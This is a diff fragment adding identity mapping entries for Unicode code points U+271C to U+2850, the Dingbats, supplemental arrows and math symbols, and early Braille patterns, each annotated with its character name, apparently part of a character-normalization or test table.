+ ["\u271C", "\u271C"], /* HEAVY OPEN CENTRE CROSS (HEAVY OPEN CENTER CROSS) */
+ ["\u271D", "\u271D"], /* LATIN CROSS */
+ ["\u271E", "\u271E"], /* SHADOWED WHITE LATIN CROSS */
+ ["\u271F", "\u271F"], /* OUTLINED LATIN CROSS */
+ ["\u2720", "\u2720"], /* MALTESE CROSS */
+ ["\u2721", "\u2721"], /* STAR OF DAVID */
+ ["\u2722", "\u2722"], /* FOUR TEARDROP-SPOKED ASTERISK */
+ ["\u2723", "\u2723"], /* FOUR BALLOON-SPOKED ASTERISK */
+ ["\u2724", "\u2724"], /* HEAVY FOUR BALLOON-SPOKED ASTERISK */
+ ["\u2725", "\u2725"], /* FOUR CLUB-SPOKED ASTERISK */
+ ["\u2726", "\u2726"], /* BLACK FOUR POINTED STAR */
+ ["\u2727", "\u2727"], /* WHITE FOUR POINTED STAR */
+ ["\u2728", "\u2728"], /* SPARKLES */
+ ["\u2729", "\u2729"], /* STRESS OUTLINED WHITE STAR */
+ ["\u272A", "\u272A"], /* CIRCLED WHITE STAR */
+ ["\u272B", "\u272B"], /* OPEN CENTRE BLACK STAR (OPEN CENTER BLACK STAR) */
+ ["\u272C", "\u272C"], /* BLACK CENTRE WHITE STAR (BLACK CENTER WHITE STAR) */
+ ["\u272D", "\u272D"], /* OUTLINED BLACK STAR */
+ ["\u272E", "\u272E"], /* HEAVY OUTLINED BLACK STAR */
+ ["\u272F", "\u272F"], /* PINWHEEL STAR */
+ ["\u2730", "\u2730"], /* SHADOWED WHITE STAR */
+ ["\u2731", "\u2731"], /* HEAVY ASTERISK */
+ ["\u2732", "\u2732"], /* OPEN CENTRE ASTERISK (OPEN CENTER ASTERISK) */
+ ["\u2733", "\u2733"], /* EIGHT SPOKED ASTERISK */
+ ["\u2734", "\u2734"], /* EIGHT POINTED BLACK STAR */
+ ["\u2735", "\u2735"], /* EIGHT POINTED PINWHEEL STAR */
+ ["\u2736", "\u2736"], /* SIX POINTED BLACK STAR */
+ ["\u2737", "\u2737"], /* EIGHT POINTED RECTILINEAR BLACK STAR */
+ ["\u2738", "\u2738"], /* HEAVY EIGHT POINTED RECTILINEAR BLACK STAR */
+ ["\u2739", "\u2739"], /* TWELVE POINTED BLACK STAR */
+ ["\u273A", "\u273A"], /* SIXTEEN POINTED ASTERISK */
+ ["\u273B", "\u273B"], /* TEARDROP-SPOKED ASTERISK */
+ ["\u273C", "\u273C"], /* OPEN CENTRE TEARDROP-SPOKED ASTERISK (OPEN CENTER TEARDROP-SPOKED ASTERISK) */
+ ["\u273D", "\u273D"], /* HEAVY TEARDROP-SPOKED ASTERISK */
+ ["\u273E", "\u273E"], /* SIX PETALLED BLACK AND WHITE FLORETTE */
+ ["\u273F", "\u273F"], /* BLACK FLORETTE */
+ ["\u2740", "\u2740"], /* WHITE FLORETTE */
+ ["\u2741", "\u2741"], /* EIGHT PETALLED OUTLINED BLACK FLORETTE */
+ ["\u2742", "\u2742"], /* CIRCLED OPEN CENTRE EIGHT POINTED STAR (CIRCLED OPEN CENTER EIGHT POINTED STAR) */
+ ["\u2743", "\u2743"], /* HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK */
+ ["\u2744", "\u2744"], /* SNOWFLAKE */
+ ["\u2745", "\u2745"], /* TIGHT TRIFOLIATE SNOWFLAKE */
+ ["\u2746", "\u2746"], /* HEAVY CHEVRON SNOWFLAKE */
+ ["\u2747", "\u2747"], /* SPARKLE */
+ ["\u2748", "\u2748"], /* HEAVY SPARKLE */
+ ["\u2749", "\u2749"], /* BALLOON-SPOKED ASTERISK */
+ ["\u274A", "\u274A"], /* EIGHT TEARDROP-SPOKED PROPELLER ASTERISK */
+ ["\u274B", "\u274B"], /* HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK */
+ ["\u274C", "\u274C"], /* CROSS MARK */
+ ["\u274D", "\u274D"], /* SHADOWED WHITE CIRCLE */
+ ["\u274E", "\u274E"], /* NEGATIVE SQUARED CROSS MARK */
+ ["\u274F", "\u274F"], /* LOWER RIGHT DROP-SHADOWED WHITE SQUARE */
+ ["\u2750", "\u2750"], /* UPPER RIGHT DROP-SHADOWED WHITE SQUARE */
+ ["\u2751", "\u2751"], /* LOWER RIGHT SHADOWED WHITE SQUARE */
+ ["\u2752", "\u2752"], /* UPPER RIGHT SHADOWED WHITE SQUARE */
+ ["\u2753", "\u2753"], /* BLACK QUESTION MARK ORNAMENT */
+ ["\u2754", "\u2754"], /* WHITE QUESTION MARK ORNAMENT */
+ ["\u2755", "\u2755"], /* WHITE EXCLAMATION MARK ORNAMENT */
+ ["\u2756", "\u2756"], /* BLACK DIAMOND MINUS WHITE X */
+ ["\u2757", "\u2757"], /* HEAVY EXCLAMATION MARK SYMBOL */
+ ["\u2758", "\u2758"], /* LIGHT VERTICAL BAR */
+ ["\u2759", "\u2759"], /* MEDIUM VERTICAL BAR */
+ ["\u275A", "\u275A"], /* HEAVY VERTICAL BAR */
+ ["\u275B", "\u275B"], /* HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT */
+ ["\u275C", "\u275C"], /* HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u275D", "\u275D"], /* HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT */
+ ["\u275E", "\u275E"], /* HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u275F", "\u275F"], /* HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u2760", "\u2760"], /* HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u2761", "\u2761"], /* CURVED STEM PARAGRAPH SIGN ORNAMENT */
+ ["\u2762", "\u2762"], /* HEAVY EXCLAMATION MARK ORNAMENT */
+ ["\u2763", "\u2763"], /* HEAVY HEART EXCLAMATION MARK ORNAMENT */
+ ["\u2764", "\u2764"], /* HEAVY BLACK HEART */
+ ["\u2765", "\u2765"], /* ROTATED HEAVY BLACK HEART BULLET */
+ ["\u2766", "\u2766"], /* FLORAL HEART */
+ ["\u2767", "\u2767"], /* ROTATED FLORAL HEART BULLET */
+ ["\u2768", "\u2768"], /* MEDIUM LEFT PARENTHESIS ORNAMENT */
+ ["\u2769", "\u2769"], /* MEDIUM RIGHT PARENTHESIS ORNAMENT */
+ ["\u276A", "\u276A"], /* MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT */
+ ["\u276B", "\u276B"], /* MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT */
+ ["\u276C", "\u276C"], /* MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u276D", "\u276D"], /* MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u276E", "\u276E"], /* HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT */
+ ["\u276F", "\u276F"], /* HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT */
+ ["\u2770", "\u2770"], /* HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u2771", "\u2771"], /* HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u2772", "\u2772"], /* LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT */
+ ["\u2773", "\u2773"], /* LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT */
+ ["\u2774", "\u2774"], /* MEDIUM LEFT CURLY BRACKET ORNAMENT */
+ ["\u2775", "\u2775"], /* MEDIUM RIGHT CURLY BRACKET ORNAMENT */
+ ["\u2776", "\u2776"], /* DINGBAT NEGATIVE CIRCLED DIGIT ONE (INVERSE CIRCLED DIGIT ONE) */
+ ["\u2777", "\u2777"], /* DINGBAT NEGATIVE CIRCLED DIGIT TWO (INVERSE CIRCLED DIGIT TWO) */
+ ["\u2778", "\u2778"], /* DINGBAT NEGATIVE CIRCLED DIGIT THREE (INVERSE CIRCLED DIGIT THREE) */
+ ["\u2779", "\u2779"], /* DINGBAT NEGATIVE CIRCLED DIGIT FOUR (INVERSE CIRCLED DIGIT FOUR) */
+ ["\u277A", "\u277A"], /* DINGBAT NEGATIVE CIRCLED DIGIT FIVE (INVERSE CIRCLED DIGIT FIVE) */
+ ["\u277B", "\u277B"], /* DINGBAT NEGATIVE CIRCLED DIGIT SIX (INVERSE CIRCLED DIGIT SIX) */
+ ["\u277C", "\u277C"], /* DINGBAT NEGATIVE CIRCLED DIGIT SEVEN (INVERSE CIRCLED DIGIT SEVEN) */
+ ["\u277D", "\u277D"], /* DINGBAT NEGATIVE CIRCLED DIGIT EIGHT (INVERSE CIRCLED DIGIT EIGHT) */
+ ["\u277E", "\u277E"], /* DINGBAT NEGATIVE CIRCLED DIGIT NINE (INVERSE CIRCLED DIGIT NINE) */
+ ["\u277F", "\u277F"], /* DINGBAT NEGATIVE CIRCLED NUMBER TEN (INVERSE CIRCLED NUMBER TEN) */
+ ["\u2780", "\u2780"], /* DINGBAT CIRCLED SANS-SERIF DIGIT ONE (CIRCLED SANS-SERIF DIGIT ONE) */
+ ["\u2781", "\u2781"], /* DINGBAT CIRCLED SANS-SERIF DIGIT TWO (CIRCLED SANS-SERIF DIGIT TWO) */
+ ["\u2782", "\u2782"], /* DINGBAT CIRCLED SANS-SERIF DIGIT THREE (CIRCLED SANS-SERIF DIGIT THREE) */
+ ["\u2783", "\u2783"], /* DINGBAT CIRCLED SANS-SERIF DIGIT FOUR (CIRCLED SANS-SERIF DIGIT FOUR) */
+ ["\u2784", "\u2784"], /* DINGBAT CIRCLED SANS-SERIF DIGIT FIVE (CIRCLED SANS-SERIF DIGIT FIVE) */
+ ["\u2785", "\u2785"], /* DINGBAT CIRCLED SANS-SERIF DIGIT SIX (CIRCLED SANS-SERIF DIGIT SIX) */
+ ["\u2786", "\u2786"], /* DINGBAT CIRCLED SANS-SERIF DIGIT SEVEN (CIRCLED SANS-SERIF DIGIT SEVEN) */
+ ["\u2787", "\u2787"], /* DINGBAT CIRCLED SANS-SERIF DIGIT EIGHT (CIRCLED SANS-SERIF DIGIT EIGHT) */
+ ["\u2788", "\u2788"], /* DINGBAT CIRCLED SANS-SERIF DIGIT NINE (CIRCLED SANS-SERIF DIGIT NINE) */
+ ["\u2789", "\u2789"], /* DINGBAT CIRCLED SANS-SERIF NUMBER TEN (CIRCLED SANS-SERIF NUMBER TEN) */
+ ["\u278A", "\u278A"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ONE (INVERSE CIRCLED SANS-SERIF DIGIT ONE) */
+ ["\u278B", "\u278B"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT TWO (INVERSE CIRCLED SANS-SERIF DIGIT TWO) */
+ ["\u278C", "\u278C"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT THREE (INVERSE CIRCLED SANS-SERIF DIGIT THREE) */
+ ["\u278D", "\u278D"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FOUR (INVERSE CIRCLED SANS-SERIF DIGIT FOUR) */
+ ["\u278E", "\u278E"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FIVE (INVERSE CIRCLED SANS-SERIF DIGIT FIVE) */
+ ["\u278F", "\u278F"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SIX (INVERSE CIRCLED SANS-SERIF DIGIT SIX) */
+ ["\u2790", "\u2790"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SEVEN (INVERSE CIRCLED SANS-SERIF DIGIT SEVEN) */
+ ["\u2791", "\u2791"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT EIGHT (INVERSE CIRCLED SANS-SERIF DIGIT EIGHT) */
+ ["\u2792", "\u2792"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT NINE (INVERSE CIRCLED SANS-SERIF DIGIT NINE) */
+ ["\u2793", "\u2793"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN (INVERSE CIRCLED SANS-SERIF NUMBER TEN) */
+ ["\u2794", "\u2794"], /* HEAVY WIDE-HEADED RIGHTWARDS ARROW (HEAVY WIDE-HEADED RIGHT ARROW) */
+ ["\u2795", "\u2795"], /* HEAVY PLUS SIGN */
+ ["\u2796", "\u2796"], /* HEAVY MINUS SIGN */
+ ["\u2797", "\u2797"], /* HEAVY DIVISION SIGN */
+ ["\u2798", "\u2798"], /* HEAVY SOUTH EAST ARROW (HEAVY LOWER RIGHT ARROW) */
+ ["\u2799", "\u2799"], /* HEAVY RIGHTWARDS ARROW (HEAVY RIGHT ARROW) */
+ ["\u279A", "\u279A"], /* HEAVY NORTH EAST ARROW (HEAVY UPPER RIGHT ARROW) */
+ ["\u279B", "\u279B"], /* DRAFTING POINT RIGHTWARDS ARROW (DRAFTING POINT RIGHT ARROW) */
+ ["\u279C", "\u279C"], /* HEAVY ROUND-TIPPED RIGHTWARDS ARROW (HEAVY ROUND-TIPPED RIGHT ARROW) */
+ ["\u279D", "\u279D"], /* TRIANGLE-HEADED RIGHTWARDS ARROW (TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u279E", "\u279E"], /* HEAVY TRIANGLE-HEADED RIGHTWARDS ARROW (HEAVY TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u279F", "\u279F"], /* DASHED TRIANGLE-HEADED RIGHTWARDS ARROW (DASHED TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u27A0", "\u27A0"], /* HEAVY DASHED TRIANGLE-HEADED RIGHTWARDS ARROW (HEAVY DASHED TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u27A1", "\u27A1"], /* BLACK RIGHTWARDS ARROW (BLACK RIGHT ARROW) */
+ ["\u27A2", "\u27A2"], /* THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD (THREE-D TOP-LIGHTED RIGHT ARROWHEAD) */
+ ["\u27A3", "\u27A3"], /* THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD (THREE-D BOTTOM-LIGHTED RIGHT ARROWHEAD) */
+ ["\u27A4", "\u27A4"], /* BLACK RIGHTWARDS ARROWHEAD (BLACK RIGHT ARROWHEAD) */
+ ["\u27A5", "\u27A5"], /* HEAVY BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW (HEAVY BLACK CURVED DOWN AND RIGHT ARROW) */
+ ["\u27A6", "\u27A6"], /* HEAVY BLACK CURVED UPWARDS AND RIGHTWARDS ARROW (HEAVY BLACK CURVED UP AND RIGHT ARROW) */
+ ["\u27A7", "\u27A7"], /* SQUAT BLACK RIGHTWARDS ARROW (SQUAT BLACK RIGHT ARROW) */
+ ["\u27A8", "\u27A8"], /* HEAVY CONCAVE-POINTED BLACK RIGHTWARDS ARROW (HEAVY CONCAVE-POINTED BLACK RIGHT ARROW) */
+ ["\u27A9", "\u27A9"], /* RIGHT-SHADED WHITE RIGHTWARDS ARROW (RIGHT-SHADED WHITE RIGHT ARROW) */
+ ["\u27AA", "\u27AA"], /* LEFT-SHADED WHITE RIGHTWARDS ARROW (LEFT-SHADED WHITE RIGHT ARROW) */
+ ["\u27AB", "\u27AB"], /* BACK-TILTED SHADOWED WHITE RIGHTWARDS ARROW (BACK-TILTED SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AC", "\u27AC"], /* FRONT-TILTED SHADOWED WHITE RIGHTWARDS ARROW (FRONT-TILTED SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AD", "\u27AD"], /* HEAVY LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (HEAVY LOWER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AE", "\u27AE"], /* HEAVY UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (HEAVY UPPER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AF", "\u27AF"], /* NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27B0", "\u27B0"], /* CURLY LOOP */
+ ["\u27B1", "\u27B1"], /* NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27B2", "\u27B2"], /* CIRCLED HEAVY WHITE RIGHTWARDS ARROW (CIRCLED HEAVY WHITE RIGHT ARROW) */
+ ["\u27B3", "\u27B3"], /* WHITE-FEATHERED RIGHTWARDS ARROW (WHITE-FEATHERED RIGHT ARROW) */
+ ["\u27B4", "\u27B4"], /* BLACK-FEATHERED SOUTH EAST ARROW (BLACK-FEATHERED LOWER RIGHT ARROW) */
+ ["\u27B5", "\u27B5"], /* BLACK-FEATHERED RIGHTWARDS ARROW (BLACK-FEATHERED RIGHT ARROW) */
+ ["\u27B6", "\u27B6"], /* BLACK-FEATHERED NORTH EAST ARROW (BLACK-FEATHERED UPPER RIGHT ARROW) */
+ ["\u27B7", "\u27B7"], /* HEAVY BLACK-FEATHERED SOUTH EAST ARROW (HEAVY BLACK-FEATHERED LOWER RIGHT ARROW) */
+ ["\u27B8", "\u27B8"], /* HEAVY BLACK-FEATHERED RIGHTWARDS ARROW (HEAVY BLACK-FEATHERED RIGHT ARROW) */
+ ["\u27B9", "\u27B9"], /* HEAVY BLACK-FEATHERED NORTH EAST ARROW (HEAVY BLACK-FEATHERED UPPER RIGHT ARROW) */
+ ["\u27BA", "\u27BA"], /* TEARDROP-BARBED RIGHTWARDS ARROW (TEARDROP-BARBED RIGHT ARROW) */
+ ["\u27BB", "\u27BB"], /* HEAVY TEARDROP-SHANKED RIGHTWARDS ARROW (HEAVY TEARDROP-SHANKED RIGHT ARROW) */
+ ["\u27BC", "\u27BC"], /* WEDGE-TAILED RIGHTWARDS ARROW (WEDGE-TAILED RIGHT ARROW) */
+ ["\u27BD", "\u27BD"], /* HEAVY WEDGE-TAILED RIGHTWARDS ARROW (HEAVY WEDGE-TAILED RIGHT ARROW) */
+ ["\u27BE", "\u27BE"], /* OPEN-OUTLINED RIGHTWARDS ARROW (OPEN-OUTLINED RIGHT ARROW) */
+ ["\u27BF", "\u27BF"], /* DOUBLE CURLY LOOP */
+ ["\u27C0", "\u27C0"], /* THREE DIMENSIONAL ANGLE */
+ ["\u27C1", "\u27C1"], /* WHITE TRIANGLE CONTAINING SMALL WHITE TRIANGLE */
+ ["\u27C2", "\u27C2"], /* PERPENDICULAR */
+ ["\u27C3", "\u27C3"], /* OPEN SUBSET */
+ ["\u27C4", "\u27C4"], /* OPEN SUPERSET */
+ ["\u27C5", "\u27C5"], /* LEFT S-SHAPED BAG DELIMITER */
+ ["\u27C6", "\u27C6"], /* RIGHT S-SHAPED BAG DELIMITER */
+ ["\u27C7", "\u27C7"], /* OR WITH DOT INSIDE */
+ ["\u27C8", "\u27C8"], /* REVERSE SOLIDUS PRECEDING SUBSET */
+ ["\u27C9", "\u27C9"], /* SUPERSET PRECEDING SOLIDUS */
+ ["\u27CA", "\u27CA"], /* VERTICAL BAR WITH HORIZONTAL STROKE */
+ ["\u27CB", "\u27CB"], /* MATHEMATICAL RISING DIAGONAL */
+ ["\u27CC", "\u27CC"], /* LONG DIVISION */
+ ["\u27CD", "\u27CD"], /* MATHEMATICAL FALLING DIAGONAL */
+ ["\u27CE", "\u27CE"], /* SQUARED LOGICAL AND */
+ ["\u27CF", "\u27CF"], /* SQUARED LOGICAL OR */
+ ["\u27D0", "\u27D0"], /* WHITE DIAMOND WITH CENTRED DOT */
+ ["\u27D1", "\u27D1"], /* AND WITH DOT */
+ ["\u27D2", "\u27D2"], /* ELEMENT OF OPENING UPWARDS */
+ ["\u27D3", "\u27D3"], /* LOWER RIGHT CORNER WITH DOT */
+ ["\u27D4", "\u27D4"], /* UPPER LEFT CORNER WITH DOT */
+ ["\u27D5", "\u27D5"], /* LEFT OUTER JOIN */
+ ["\u27D6", "\u27D6"], /* RIGHT OUTER JOIN */
+ ["\u27D7", "\u27D7"], /* FULL OUTER JOIN */
+ ["\u27D8", "\u27D8"], /* LARGE UP TACK */
+ ["\u27D9", "\u27D9"], /* LARGE DOWN TACK */
+ ["\u27DA", "\u27DA"], /* LEFT AND RIGHT DOUBLE TURNSTILE */
+ ["\u27DB", "\u27DB"], /* LEFT AND RIGHT TACK */
+ ["\u27DC", "\u27DC"], /* LEFT MULTIMAP */
+ ["\u27DD", "\u27DD"], /* LONG RIGHT TACK */
+ ["\u27DE", "\u27DE"], /* LONG LEFT TACK */
+ ["\u27DF", "\u27DF"], /* UP TACK WITH CIRCLE ABOVE */
+ ["\u27E0", "\u27E0"], /* LOZENGE DIVIDED BY HORIZONTAL RULE */
+ ["\u27E1", "\u27E1"], /* WHITE CONCAVE-SIDED DIAMOND */
+ ["\u27E2", "\u27E2"], /* WHITE CONCAVE-SIDED DIAMOND WITH LEFTWARDS TICK */
+ ["\u27E3", "\u27E3"], /* WHITE CONCAVE-SIDED DIAMOND WITH RIGHTWARDS TICK */
+ ["\u27E4", "\u27E4"], /* WHITE SQUARE WITH LEFTWARDS TICK */
+ ["\u27E5", "\u27E5"], /* WHITE SQUARE WITH RIGHTWARDS TICK */
+ ["\u27E6", "\u27E6"], /* MATHEMATICAL LEFT WHITE SQUARE BRACKET */
+ ["\u27E7", "\u27E7"], /* MATHEMATICAL RIGHT WHITE SQUARE BRACKET */
+ ["\u27E8", "\u27E8"], /* MATHEMATICAL LEFT ANGLE BRACKET */
+ ["\u27E9", "\u27E9"], /* MATHEMATICAL RIGHT ANGLE BRACKET */
+ ["\u27EA", "\u27EA"], /* MATHEMATICAL LEFT DOUBLE ANGLE BRACKET */
+ ["\u27EB", "\u27EB"], /* MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET */
+ ["\u27EC", "\u27EC"], /* MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET */
+ ["\u27ED", "\u27ED"], /* MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET */
+ ["\u27EE", "\u27EE"], /* MATHEMATICAL LEFT FLATTENED PARENTHESIS */
+ ["\u27EF", "\u27EF"], /* MATHEMATICAL RIGHT FLATTENED PARENTHESIS */
+ ["\u27F0", "\u27F0"], /* UPWARDS QUADRUPLE ARROW */
+ ["\u27F1", "\u27F1"], /* DOWNWARDS QUADRUPLE ARROW */
+ ["\u27F2", "\u27F2"], /* ANTICLOCKWISE GAPPED CIRCLE ARROW */
+ ["\u27F3", "\u27F3"], /* CLOCKWISE GAPPED CIRCLE ARROW */
+ ["\u27F4", "\u27F4"], /* RIGHT ARROW WITH CIRCLED PLUS */
+ ["\u27F5", "\u27F5"], /* LONG LEFTWARDS ARROW */
+ ["\u27F6", "\u27F6"], /* LONG RIGHTWARDS ARROW */
+ ["\u27F7", "\u27F7"], /* LONG LEFT RIGHT ARROW */
+ ["\u27F8", "\u27F8"], /* LONG LEFTWARDS DOUBLE ARROW */
+ ["\u27F9", "\u27F9"], /* LONG RIGHTWARDS DOUBLE ARROW */
+ ["\u27FA", "\u27FA"], /* LONG LEFT RIGHT DOUBLE ARROW */
+ ["\u27FB", "\u27FB"], /* LONG LEFTWARDS ARROW FROM BAR */
+ ["\u27FC", "\u27FC"], /* LONG RIGHTWARDS ARROW FROM BAR */
+ ["\u27FD", "\u27FD"], /* LONG LEFTWARDS DOUBLE ARROW FROM BAR */
+ ["\u27FE", "\u27FE"], /* LONG RIGHTWARDS DOUBLE ARROW FROM BAR */
+ ["\u27FF", "\u27FF"], /* LONG RIGHTWARDS SQUIGGLE ARROW */
+ ["\u2800", "\u2800"], /* BRAILLE PATTERN BLANK */
+ ["\u2801", "\u2801"], /* BRAILLE PATTERN DOTS-1 */
+ ["\u2802", "\u2802"], /* BRAILLE PATTERN DOTS-2 */
+ ["\u2803", "\u2803"], /* BRAILLE PATTERN DOTS-12 */
+ ["\u2804", "\u2804"], /* BRAILLE PATTERN DOTS-3 */
+ ["\u2805", "\u2805"], /* BRAILLE PATTERN DOTS-13 */
+ ["\u2806", "\u2806"], /* BRAILLE PATTERN DOTS-23 */
+ ["\u2807", "\u2807"], /* BRAILLE PATTERN DOTS-123 */
+ ["\u2808", "\u2808"], /* BRAILLE PATTERN DOTS-4 */
+ ["\u2809", "\u2809"], /* BRAILLE PATTERN DOTS-14 */
+ ["\u280A", "\u280A"], /* BRAILLE PATTERN DOTS-24 */
+ ["\u280B", "\u280B"], /* BRAILLE PATTERN DOTS-124 */
+ ["\u280C", "\u280C"], /* BRAILLE PATTERN DOTS-34 */
+ ["\u280D", "\u280D"], /* BRAILLE PATTERN DOTS-134 */
+ ["\u280E", "\u280E"], /* BRAILLE PATTERN DOTS-234 */
+ ["\u280F", "\u280F"], /* BRAILLE PATTERN DOTS-1234 */
+ ["\u2810", "\u2810"], /* BRAILLE PATTERN DOTS-5 */
+ ["\u2811", "\u2811"], /* BRAILLE PATTERN DOTS-15 */
+ ["\u2812", "\u2812"], /* BRAILLE PATTERN DOTS-25 */
+ ["\u2813", "\u2813"], /* BRAILLE PATTERN DOTS-125 */
+ ["\u2814", "\u2814"], /* BRAILLE PATTERN DOTS-35 */
+ ["\u2815", "\u2815"], /* BRAILLE PATTERN DOTS-135 */
+ ["\u2816", "\u2816"], /* BRAILLE PATTERN DOTS-235 */
+ ["\u2817", "\u2817"], /* BRAILLE PATTERN DOTS-1235 */
+ ["\u2818", "\u2818"], /* BRAILLE PATTERN DOTS-45 */
+ ["\u2819", "\u2819"], /* BRAILLE PATTERN DOTS-145 */
+ ["\u281A", "\u281A"], /* BRAILLE PATTERN DOTS-245 */
+ ["\u281B", "\u281B"], /* BRAILLE PATTERN DOTS-1245 */
+ ["\u281C", "\u281C"], /* BRAILLE PATTERN DOTS-345 */
+ ["\u281D", "\u281D"], /* BRAILLE PATTERN DOTS-1345 */
+ ["\u281E", "\u281E"], /* BRAILLE PATTERN DOTS-2345 */
+ ["\u281F", "\u281F"], /* BRAILLE PATTERN DOTS-12345 */
+ ["\u2820", "\u2820"], /* BRAILLE PATTERN DOTS-6 */
+ ["\u2821", "\u2821"], /* BRAILLE PATTERN DOTS-16 */
+ ["\u2822", "\u2822"], /* BRAILLE PATTERN DOTS-26 */
+ ["\u2823", "\u2823"], /* BRAILLE PATTERN DOTS-126 */
+ ["\u2824", "\u2824"], /* BRAILLE PATTERN DOTS-36 */
+ ["\u2825", "\u2825"], /* BRAILLE PATTERN DOTS-136 */
+ ["\u2826", "\u2826"], /* BRAILLE PATTERN DOTS-236 */
+ ["\u2827", "\u2827"], /* BRAILLE PATTERN DOTS-1236 */
+ ["\u2828", "\u2828"], /* BRAILLE PATTERN DOTS-46 */
+ ["\u2829", "\u2829"], /* BRAILLE PATTERN DOTS-146 */
+ ["\u282A", "\u282A"], /* BRAILLE PATTERN DOTS-246 */
+ ["\u282B", "\u282B"], /* BRAILLE PATTERN DOTS-1246 */
+ ["\u282C", "\u282C"], /* BRAILLE PATTERN DOTS-346 */
+ ["\u282D", "\u282D"], /* BRAILLE PATTERN DOTS-1346 */
+ ["\u282E", "\u282E"], /* BRAILLE PATTERN DOTS-2346 */
+ ["\u282F", "\u282F"], /* BRAILLE PATTERN DOTS-12346 */
+ ["\u2830", "\u2830"], /* BRAILLE PATTERN DOTS-56 */
+ ["\u2831", "\u2831"], /* BRAILLE PATTERN DOTS-156 */
+ ["\u2832", "\u2832"], /* BRAILLE PATTERN DOTS-256 */
+ ["\u2833", "\u2833"], /* BRAILLE PATTERN DOTS-1256 */
+ ["\u2834", "\u2834"], /* BRAILLE PATTERN DOTS-356 */
+ ["\u2835", "\u2835"], /* BRAILLE PATTERN DOTS-1356 */
+ ["\u2836", "\u2836"], /* BRAILLE PATTERN DOTS-2356 */
+ ["\u2837", "\u2837"], /* BRAILLE PATTERN DOTS-12356 */
+ ["\u2838", "\u2838"], /* BRAILLE PATTERN DOTS-456 */
+ ["\u2839", "\u2839"], /* BRAILLE PATTERN DOTS-1456 */
+ ["\u283A", "\u283A"], /* BRAILLE PATTERN DOTS-2456 */
+ ["\u283B", "\u283B"], /* BRAILLE PATTERN DOTS-12456 */
+ ["\u283C", "\u283C"], /* BRAILLE PATTERN DOTS-3456 */
+ ["\u283D", "\u283D"], /* BRAILLE PATTERN DOTS-13456 */
+ ["\u283E", "\u283E"], /* BRAILLE PATTERN DOTS-23456 */
+ ["\u283F", "\u283F"], /* BRAILLE PATTERN DOTS-123456 */
+ ["\u2840", "\u2840"], /* BRAILLE PATTERN DOTS-7 */
+ ["\u2841", "\u2841"], /* BRAILLE PATTERN DOTS-17 */
+ ["\u2842", "\u2842"], /* BRAILLE PATTERN DOTS-27 */
+ ["\u2843", "\u2843"], /* BRAILLE PATTERN DOTS-127 */
+ ["\u2844", "\u2844"], /* BRAILLE PATTERN DOTS-37 */
+ ["\u2845", "\u2845"], /* BRAILLE PATTERN DOTS-137 */
+ ["\u2846", "\u2846"], /* BRAILLE PATTERN DOTS-237 */
+ ["\u2847", "\u2847"], /* BRAILLE PATTERN DOTS-1237 */
+ ["\u2848", "\u2848"], /* BRAILLE PATTERN DOTS-47 */
+ ["\u2849", "\u2849"], /* BRAILLE PATTERN DOTS-147 */
+ ["\u284A", "\u284A"], /* BRAILLE PATTERN DOTS-247 */
+ ["\u284B", "\u284B"], /* BRAILLE PATTERN DOTS-1247 */
+ ["\u284C", "\u284C"], /* BRAILLE PATTERN DOTS-347 */
+ ["\u284D", "\u284D"], /* BRAILLE PATTERN DOTS-1347 */
+ ["\u284E", "\u284E"], /* BRAILLE PATTERN DOTS-2347 */
+ ["\u284F", "\u284F"], /* BRAILLE PATTERN DOTS-12347 */
+ ["\u2850", "\u2850"], /* BRAILLE PATTERN DOTS-57 */
